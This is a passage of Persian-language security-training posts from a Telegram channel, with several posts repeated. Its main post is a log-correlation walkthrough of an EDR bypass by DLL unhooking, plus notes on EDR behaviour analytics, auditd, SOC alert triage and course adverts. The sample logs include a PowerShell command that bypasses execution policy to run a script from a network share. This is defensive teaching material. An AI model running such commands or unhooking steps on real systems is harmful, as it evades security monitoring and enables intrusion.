"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}
زمان: T2 (10:30:18 AM)
منبع: Sysmon (Event ID 7 - Image Loaded)
{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}
زمان: T3 (10:30:20 AM)
منبع: لاگ EDR (EDR Telemetry)
{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
"Result": "Success"
}
سکوت مرگبار ......
زمان: T4 (10:30:22 AM تا 10:31:00 AM)
منبع: لاگ EDR
هیچ لاگ API حساسی وجود ندارد!
این دنباله از لاگها یک داستان کامل از چگونگی دور خوردن یک EDR متکی بر User−ModeHookingUser−ModeHooking را روایت میکند و نشان میدهد که چرا تکیه بر یک منبع لاگ به تنهایی کافی نیست و همبستگی دادهها (LogCorrelationLogCorrelation) از منابع مختلف (Sysmon, EDR, Network) برای کشف چنین تهدیدات پیشرفتهای حیاتی است.
کل سناریو رو میتونید امشب در کانال تلگرامم بخونید roozbeh_learning
دوره CISSP شامل دو دهه تجربه و صد ها کتاب تقدیم به ایرانیان = واتس اپ و بله 09902857290
غور در لاگ :
زمان: T0 (10:30:15 AM)
منبع: Windows Security Log (Event ID 4688 - A new process has been created)
{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}
زمان: T1 (10:30:17 AM)
منبع: Sysmon (Event ID 10 - ProcessAccess)
{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}
زمان: T2 (10:30:18 AM)
منبع: Sysmon (Event ID 7 - Image Loaded)
{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}
زمان: T3 (10:30:20 AM)
منبع: لاگ EDR (EDR Telemetry)
{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
"Result": "Success"
}
سکوت مرگبار ......
زمان: T4 (10:30:22 AM تا 10:31:00 AM)
منبع: لاگ EDR
هیچ لاگ API حساسی وجود ندارد!
این دنباله از لاگها یک داستان کامل از چگونگی دور خوردن یک EDR متکی بر User−ModeHookingUser−ModeHooking را روایت میکند و نشان میدهد که چرا تکیه بر یک منبع لاگ به تنهایی کافی نیست و همبستگی دادهها (LogCorrelationLogCorrelation) از منابع مختلف (Sysmon, EDR, Network) برای کشف چنین تهدیدات پیشرفتهای حیاتی است.
کل سناریو رو میتونید امشب در کانال تلگرامم بخونید roozbeh_learning
دوره CISSP شامل دو دهه تجربه و صد ها کتاب تقدیم به ایرانیان = واتس اپ و بله 09902857290
❤3
از صفر در امنیت تا.....
ابراز علاقه بسیاری از عزیزان من رو بر آن داشت تا به این اشتیاق پاسخ دهم و مسیری رو برای علاقمندان شروع کنم.
از صفر در امنیت تا.....
لذا اولش دستگرمی یک ۳۰ ساعت باهم امنیت رو شروع میکنیم تا ببینیم اگر هستید و همت دارید ادامه دهیم
مثل همیشه به واتس اپ و بله 09902857290 پیام بدین و ثبت نام کنید
بسم الله
تمام.
ابراز علاقه بسیاری از عزیزان من رو بر آن داشت تا به این اشتیاق پاسخ دهم و مسیری رو برای علاقمندان شروع کنم.
از صفر در امنیت تا.....
لذا اولش دستگرمی یک ۳۰ ساعت باهم امنیت رو شروع میکنیم تا ببینیم اگر هستید و همت دارید ادامه دهیم
مثل همیشه به واتس اپ و بله 09902857290 پیام بدین و ثبت نام کنید
بسم الله
تمام.
❤5
آکادمی آموزش روزبه 📚
زغوغای جهان فارق غور در لاگ : زمان: T0 (10:30:15 AM) منبع: Windows Security Log (Event ID 4688 - A new process has been created) { "EventID": 4688, "SubjectUserName": "jsmith", "ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"…
قسمت اول
در این سناریو، مهاجم از تکنیک Full DLL Unhooking برای غیرفعال کردن هوکهای User-Mode EDR و سپس اجرای یک payload با استفاده از ابزار مدیریت از راه دور استفاده میکند.
1. Sysmon:
ابزار قدرتمند مایکروسافت برای مانیتورینگ عمیق سیستم. فرض میکنیم با یک کانفیگ خوب نصب شده.
2. Windows Security Logs:
لاگهای پیشفرض ویندوز.
3. EDR Logs:
لاگهای خود EDR که برخی فعالیتها را ثبت میکند اما رویدادهای کلیدی را از دست میدهد.
دنبالهی زمانی لاگها (The Log Timeline)
زمان: T0 (10:30:15 AM)
منبع: Windows Security Log (Event ID 4688 - A new process has been created)
{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}
زمان: T1 (10:30:17 AM)
منبع: Sysmon (Event ID 10 - ProcessAccess)
{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"TargetImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"GrantedAccess": "0x1FFFFF",
"CallTrace": "C:\\Windows\\SYSTEM32\\ntdll.dll+a7b14|C:\\Windows\\System32\\KERNELBASE.dll+3a3b4|..."
}
* تحلیل عمیق (اینجا نکته کلیدی است!): چرا یک پراسس باید به خودش دسترسی کامل بخواهد؟ این رفتار بسیار غیرعادی است. این لاگ سرنخ اصلی ماست. اسکریپت پاورشل در حال آماده شدن برای دستکاری حافظهی خودش است. این اولین قدم برای فرآیند Unhooking است. EDR اینجا باید حساس شود، اما بسیاری از آنها این رفتار را به عنوان یک تهدید قطعی در نظر نمیگیرند چون Source و Target یکی هستند.
زمان: T2 (10:30:18 AM)
منبع: Sysmon (Event ID 7 - Image Loaded)
{
"EventID": 7,
"UtcTime": "2023-10-27 10:30:18.112",
"ProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ImageLoaded": "C:\\Program Files\\Sophos\\Sophos Endpoint Agent\\sophos_agent.dll",
"Signature": "Sophos Limited",
"Signed": "True"
}
* تحلیل: این لاگ نشان میدهد که DLL مربوط به EDR (در اینجا به عنوان مثال Sophos) به درستی در پراسس powershell.exe لود شده است. این یعنی EDR "فکر میکند" که در حال مانیتورینگ این پراسس است.
زمان: T3 (10:30:20 AM)
منبع: لاگ EDR (EDR Telemetry)
{
"Timestamp": "10:30:20 AM",
"ProcessName": "powershell.exe",
"PID": 4120,
"Action": "FileRead",
"Target": "C:\\Windows\\System32\\ntdll.dll",
واتس اپ و بله 09902857290
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👏3
هوش مصنوعی رفتاری: مغز متفکر EDR و XDR های مدرن
در دنیای امنیت سایبری، دیگر نمیتوان تنها به دنبال بدافزارهای شناختهشده گشت. مهاجمان امروزی از تکنیکهای بدون فایل (Fileless)، ابزارهای خود سیستمعامل (Living-off-the-Land) و اسکریپتهای ناشناخته استفاده میکنند که هیچ امضای مشخصی ندارند. اینجا است که هوش مصنوعی رفتاری (Behavioral AI) به عنوان مهمترین و پیشرفتهترین بخش یک EDR (Endpoint Detection and Response) وارد میدان میشود.
برخلاف آنتیویروسهای سنتی که میپرسند “این فایل چیست؟”، هوش مصنوعی رفتاری میپرسد “این فرآیند چه کاری انجام میدهد؟”.
این تکنولوژی به جای تمرکز بر ظاهر یک فایل، به تحلیل زنجیرهی علت و معلولی رفتارها در زمان اجرا (Runtime) میپردازد.
تصور کنید فرآیند Word.exe که یک برنامهی کاملاً مجاز است، ناگهان یک فرزند PowerShell.exe ایجاد میکند. این به خودی خود مشکوک نیست. اما اگر آن اسکریپت پاورشل تلاش کند به حافظهی یک فرآیند دیگر تزریق کد انجام دهد (Code Injection)، دسترسیهای خود را ارتقا دهد و سپس یک اتصال شبکه به یک آدرس IP ناشناس در خارج از کشور برقرار کند، یک داستان کاملاً متفاوت روایت میشود.
هوش مصنوعی رفتاری ؛ این نقاط دادهی به ظاهر بیربط را به هم متصل کرده و یک “داستان حمله” (Attack Storyline) منسجم ایجاد میکند. این مدلهای یادگیری ماشین (ML) با مشاهدهی هزاران میلیارد رویداد، یاد گرفتهاند که رفتار عادی یک سیستم چگونه است و هرگونه انحراف از این الگو را به عنوان یک شاخص حمله (Indicator of Attack - IOA) شناسایی میکنند.
کیفیت و پیچیدگی همین موتور تحلیلی، تفاوت اصلی بین EDR و XDR های پیشرو مانند Trendmicro و راهحلهای سنتیتر است. آنها به جای تعقیب بدافزار، قصد و نیت مخرب را در لحظه شناسایی و مسدود میکنند. در نهایت، این تحلیل رفتاری است که به EDR و XDR قدرت میدهد تا نه تنها در برابر تهدیدات شناختهشده، بلکه در مقابل حملات روز صفر (Zero-day) و تاکتیکهای هوشمندانهی مهاجمان نیز بایستد و امنیت واقعی را برای نقاط پایانی به ارمغان آورد.
دوره CISSP از هفته آخر مرداد ماه
در دنیای امنیت سایبری، دیگر نمیتوان تنها به دنبال بدافزارهای شناختهشده گشت. مهاجمان امروزی از تکنیکهای بدون فایل (Fileless)، ابزارهای خود سیستمعامل (Living-off-the-Land) و اسکریپتهای ناشناخته استفاده میکنند که هیچ امضای مشخصی ندارند. اینجا است که هوش مصنوعی رفتاری (Behavioral AI) به عنوان مهمترین و پیشرفتهترین بخش یک EDR (Endpoint Detection and Response) وارد میدان میشود.
برخلاف آنتیویروسهای سنتی که میپرسند “این فایل چیست؟”، هوش مصنوعی رفتاری میپرسد “این فرآیند چه کاری انجام میدهد؟”.
این تکنولوژی به جای تمرکز بر ظاهر یک فایل، به تحلیل زنجیرهی علت و معلولی رفتارها در زمان اجرا (Runtime) میپردازد.
تصور کنید فرآیند Word.exe که یک برنامهی کاملاً مجاز است، ناگهان یک فرزند PowerShell.exe ایجاد میکند. این به خودی خود مشکوک نیست. اما اگر آن اسکریپت پاورشل تلاش کند به حافظهی یک فرآیند دیگر تزریق کد انجام دهد (Code Injection)، دسترسیهای خود را ارتقا دهد و سپس یک اتصال شبکه به یک آدرس IP ناشناس در خارج از کشور برقرار کند، یک داستان کاملاً متفاوت روایت میشود.
هوش مصنوعی رفتاری ؛ این نقاط دادهی به ظاهر بیربط را به هم متصل کرده و یک “داستان حمله” (Attack Storyline) منسجم ایجاد میکند. این مدلهای یادگیری ماشین (ML) با مشاهدهی هزاران میلیارد رویداد، یاد گرفتهاند که رفتار عادی یک سیستم چگونه است و هرگونه انحراف از این الگو را به عنوان یک شاخص حمله (Indicator of Attack - IOA) شناسایی میکنند.
کیفیت و پیچیدگی همین موتور تحلیلی، تفاوت اصلی بین EDR و XDR های پیشرو مانند Trendmicro و راهحلهای سنتیتر است. آنها به جای تعقیب بدافزار، قصد و نیت مخرب را در لحظه شناسایی و مسدود میکنند. در نهایت، این تحلیل رفتاری است که به EDR و XDR قدرت میدهد تا نه تنها در برابر تهدیدات شناختهشده، بلکه در مقابل حملات روز صفر (Zero-day) و تاکتیکهای هوشمندانهی مهاجمان نیز بایستد و امنیت واقعی را برای نقاط پایانی به ارمغان آورد.
دوره CISSP از هفته آخر مرداد ماه
👍6
❤4💯2
جایی گفته شده که بروید بجای Auditd در لینوکس ؛ Osquery نصب کنید
اما این جمله کلا مشکل دارد
مقوله Auditd یک ماژول سطح پایین کرنل هست و میتونه خیلی دقیق و با دقت میلیثانیهای هر تغییری در فایل، syscall و policy را لاگ کنه. بسیاری از رویدادهای حیاتی و حساس ( مثل privilege escalation یا policy violation) فقط با auditd دیده میشن.
اما osquery بیشتر برای مشاهدهٔ کل وضعیت سیستم، asset management، و شکار تهدید (threat hunting) خیلی عالیه، اما واقعا برای لاگبرداری لحظهای از رویدادهای بسیار حساس یا policy enforcement مثل auditd قابلاعتماد یا realtime نیست.
پس دقیق باشیم امنیت رشته ای است که باید دقیق باشیم ✅️
ضمنا با احترام به آموزش های رایگان ، نباید زمان ، فرصت و اندیشه را بدست هرکسی دارد. چون اشکالاتی این چنین در آموزش های رایگان دیده میشود.
تبصره: آموزش های رایگان جناب کاظمی ( دو پست قبل ) کلا از منظور این پست جدا هستند چون ایشان استاد بلامنازع لینوکس اینترنال هستند پس آموزش های ایشون رو دریابید
اما این جمله کلا مشکل دارد
مقوله Auditd یک ماژول سطح پایین کرنل هست و میتونه خیلی دقیق و با دقت میلیثانیهای هر تغییری در فایل، syscall و policy را لاگ کنه. بسیاری از رویدادهای حیاتی و حساس ( مثل privilege escalation یا policy violation) فقط با auditd دیده میشن.
اما osquery بیشتر برای مشاهدهٔ کل وضعیت سیستم، asset management، و شکار تهدید (threat hunting) خیلی عالیه، اما واقعا برای لاگبرداری لحظهای از رویدادهای بسیار حساس یا policy enforcement مثل auditd قابلاعتماد یا realtime نیست.
پس دقیق باشیم امنیت رشته ای است که باید دقیق باشیم ✅️
ضمنا با احترام به آموزش های رایگان ، نباید زمان ، فرصت و اندیشه را بدست هرکسی دارد. چون اشکالاتی این چنین در آموزش های رایگان دیده میشود.
تبصره: آموزش های رایگان جناب کاظمی ( دو پست قبل ) کلا از منظور این پست جدا هستند چون ایشان استاد بلامنازع لینوکس اینترنال هستند پس آموزش های ایشون رو دریابید
❤6👏2💯2🙏1
نکات SOC
تمرکز بر نشانههای مهم حمله؛ نه هر آژیری که به صدا در میآید
در دنیای امنیت سایبری، ابزارهایی مثل SIEM، EDR و فایروالها روزانه هزاران هشدار و نشانه (IOA: Indicator of Attack) تولید میکنند. اما واقعیت این است: هر نشانهای لزوماً برای شما حیاتی نیست. آن چیزی اهمیت دارد که واقعا با ریسکهای سازمان شما و داراییهای حیاتیتان ارتباط مستقیم دارد.
مثال فنی: بانک و هشدارهای Remote Desktop
فرض کنید شما تحلیلگر امنیت یک بانک هستید که با اطلاعات حساس مشتریان، تراکنشهای مالی و سامانه بانکداری سروکار دارد. هر روز SIEM شما صدها هشدار درباره رخدادهایی مانند لاگینهای ناموفق Remote Desktop دریافت میکند (Failed RDP logins).
در نگاه اول، همه این هشدارها به نظر تهدید میآیند. اما آیا واقعاً همه اینها مهماند؟
اینجاست که باید مفهوم Event of Interest (EOI) را بشناسید.
شما پروفایل داراییها را بررسی میکنید و میبینید لاگین ناموفق روی یک سرور تست که هیچ دسترسی به داده حساس ندارد رخ داده. از طرف دیگر، هشدار مشابهی روی دیتابیس تراکنش بانکی میآید که به تازگی از یک IP غیر مرتبط امتحان شده و بلافاصله چند رفتار مشکوک دیگر (مانند اجرای PowerShell) دیده میشود.
حالا تفاوت را ببینید:
- سرور تست : فقط یک نشانه از حمله است (IOA)، اما اهمیت خاصی برای سازمان ندارد؛ پس جزء EOI حساب نمیشود.
- سرور پایگاه داده تراکنشی:هم ریسک بالاست و هم احتمال بهرهبرداری جدی؛ این یک Event of Interest واقعی برای شماست.
پس
به جای تلاش برای واکنش به هر هشدار، منابع و انرژی تیم امنیتی باید صرف رخدادهایی شود که متناسب با داراییهای حیاتی و تهدیدهای واقعی سازمان هستند. این یعنی تقویت امنیت هوشمند، نه پر سر و صدا.
ثبت نام دوره های آکادمی روزبه
دوره سطح ۱
دوره CISSP
واتس اپ و بله 09902857299
دوره های سایر سطوح و هانت و بنفش در آینده نزدیک اعلام میشوند
تمرکز بر نشانههای مهم حمله؛ نه هر آژیری که به صدا در میآید
در دنیای امنیت سایبری، ابزارهایی مثل SIEM، EDR و فایروالها روزانه هزاران هشدار و نشانه (IOA: Indicator of Attack) تولید میکنند. اما واقعیت این است: هر نشانهای لزوماً برای شما حیاتی نیست. آن چیزی اهمیت دارد که واقعا با ریسکهای سازمان شما و داراییهای حیاتیتان ارتباط مستقیم دارد.
مثال فنی: بانک و هشدارهای Remote Desktop
فرض کنید شما تحلیلگر امنیت یک بانک هستید که با اطلاعات حساس مشتریان، تراکنشهای مالی و سامانه بانکداری سروکار دارد. هر روز SIEM شما صدها هشدار درباره رخدادهایی مانند لاگینهای ناموفق Remote Desktop دریافت میکند (Failed RDP logins).
در نگاه اول، همه این هشدارها به نظر تهدید میآیند. اما آیا واقعاً همه اینها مهماند؟
اینجاست که باید مفهوم Event of Interest (EOI) را بشناسید.
شما پروفایل داراییها را بررسی میکنید و میبینید لاگین ناموفق روی یک سرور تست که هیچ دسترسی به داده حساس ندارد رخ داده. از طرف دیگر، هشدار مشابهی روی دیتابیس تراکنش بانکی میآید که به تازگی از یک IP غیر مرتبط امتحان شده و بلافاصله چند رفتار مشکوک دیگر (مانند اجرای PowerShell) دیده میشود.
حالا تفاوت را ببینید:
- سرور تست : فقط یک نشانه از حمله است (IOA)، اما اهمیت خاصی برای سازمان ندارد؛ پس جزء EOI حساب نمیشود.
- سرور پایگاه داده تراکنشی:هم ریسک بالاست و هم احتمال بهرهبرداری جدی؛ این یک Event of Interest واقعی برای شماست.
پس
به جای تلاش برای واکنش به هر هشدار، منابع و انرژی تیم امنیتی باید صرف رخدادهایی شود که متناسب با داراییهای حیاتی و تهدیدهای واقعی سازمان هستند. این یعنی تقویت امنیت هوشمند، نه پر سر و صدا.
ثبت نام دوره های آکادمی روزبه
دوره سطح ۱
دوره CISSP
واتس اپ و بله 09902857299
دوره های سایر سطوح و هانت و بنفش در آینده نزدیک اعلام میشوند
❤5👍3
کسی که راه خودش رو میره، خارج از بازی مقایسه و رقابت حرکت میکنه.
اون بهجای اینکه دنبال بردن از دیگران باشه، دنبال تبدیل شدن به نسخهٔ عمیقتری از خودشه.
چنین آدمی قابل پیشی گرفتن نیست، چون اساساً وارد خط مسابقهٔ دیگران نمیشه...
⭐ دوره سطح ۱ امنیت
🪙 دوره CISSP
✅️دوره هایی متمایز حاصل ۲۳ سال تجربه
واتس اپ و بله 09902857290
📣 به روز رسانی
پیرو علاقه و درخواست دوستان دوره های زیر هم اضافه شدند :
🏆 سنز ۶۰۸ برای IR و فارنزیک سطح بزرگ سازمانی به همراه هانت ساختار یافتهThreat hunting ✅
🏆 سنز ۵۹۹ برای تیم بنفش سایبری (پیش نیاز برای دوره ۶۹۹)
اون بهجای اینکه دنبال بردن از دیگران باشه، دنبال تبدیل شدن به نسخهٔ عمیقتری از خودشه.
چنین آدمی قابل پیشی گرفتن نیست، چون اساساً وارد خط مسابقهٔ دیگران نمیشه...
✅️دوره هایی متمایز حاصل ۲۳ سال تجربه
واتس اپ و بله 09902857290
پیرو علاقه و درخواست دوستان دوره های زیر هم اضافه شدند :
Please open Telegram to view this post
VIEW IN TELEGRAM
👏6❤3👍2🥰2
کشف امروز
نصب یا اجرای مفسر پایتون روی سیستمها عمدتاً بدون نظارت انجام میشود، درحالیکه همین موضوع میتواند به سوءاستفاده و ایجاد بکدور توسط مهاجمان منجر شود؛ نمونهای امروز با آن روبرو بودم
پیشنهاد میدم پس از شناسایی رفتار نرمال، هر اجرای غیرمنتظره پایتون باید بهعنوان هشدار اولیه در نظر گرفته شود. آیا پایتون بهطور معمول در سازمان شما روی سیستمها، چه بهصورت مستقل و چه بههمراه سایر نرمافزارها، نصب است ؟
دقت کنیم. تمیز کار کنیم
نصب یا اجرای مفسر پایتون روی سیستمها عمدتاً بدون نظارت انجام میشود، درحالیکه همین موضوع میتواند به سوءاستفاده و ایجاد بکدور توسط مهاجمان منجر شود؛ نمونهای امروز با آن روبرو بودم
پیشنهاد میدم پس از شناسایی رفتار نرمال، هر اجرای غیرمنتظره پایتون باید بهعنوان هشدار اولیه در نظر گرفته شود. آیا پایتون بهطور معمول در سازمان شما روی سیستمها، چه بهصورت مستقل و چه بههمراه سایر نرمافزارها، نصب است ؟
دقت کنیم. تمیز کار کنیم
❤4🤝2👍1
نه فقط ابزار !!
در دوره فارنزیک ، IR و هانت علاوه بر ابزار، من به اساس و شالوده هانت و فارنزیک میپردازم . ابزارها را در بوته های نقد سناریو ها به چالش میکشم تا بتوانید اصول و مفاهیم را طوری بیاموزید که با غیر موثر شدن ابزار جاری در هانت و تا آمدن ابزار جدید، همچنان توانمند باشید و اتکای شما به ابزار به حداقل برسد.
💫👌 اگر مفهوم را خوب درک کنید آنگاه میتوانید امیدوار باشید واقعا برای کشف APT آماده اید!! اما اگر فقط تنها به ابزار تکیه کنیم ، فقط مانند موتور کشف امضا هستیم. 😢
در دوره من ، شما اول مفهوم را درک میکنید بعد با آنچه قبلا از سایر دوره ها فراگرفته اید مخلوط میکنید بعد با ابزار ، حاصل آنرا تست مینمایید.
اگر علاقمند بودید به واتس اپ و بله 09902857290 پیام دهید و در کلاس من باشید.
لیست دوره ها را از همین شماره بخواهید که بدانید زمانبندی چطور است.
برای نمونه از مثالهای کلاس، لینک زیر را درج میکنم
https://evals.mitre.org/enterprise/apt3/
در دوره فارنزیک ، IR و هانت علاوه بر ابزار، من به اساس و شالوده هانت و فارنزیک میپردازم . ابزارها را در بوته های نقد سناریو ها به چالش میکشم تا بتوانید اصول و مفاهیم را طوری بیاموزید که با غیر موثر شدن ابزار جاری در هانت و تا آمدن ابزار جدید، همچنان توانمند باشید و اتکای شما به ابزار به حداقل برسد.
💫
در دوره من ، شما اول مفهوم را درک میکنید بعد با آنچه قبلا از سایر دوره ها فراگرفته اید مخلوط میکنید بعد با ابزار ، حاصل آنرا تست مینمایید.
اگر علاقمند بودید به واتس اپ و بله 09902857290 پیام دهید و در کلاس من باشید.
لیست دوره ها را از همین شماره بخواهید که بدانید زمانبندی چطور است.
برای نمونه از مثالهای کلاس، لینک زیر را درج میکنم
https://evals.mitre.org/enterprise/apt3/
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5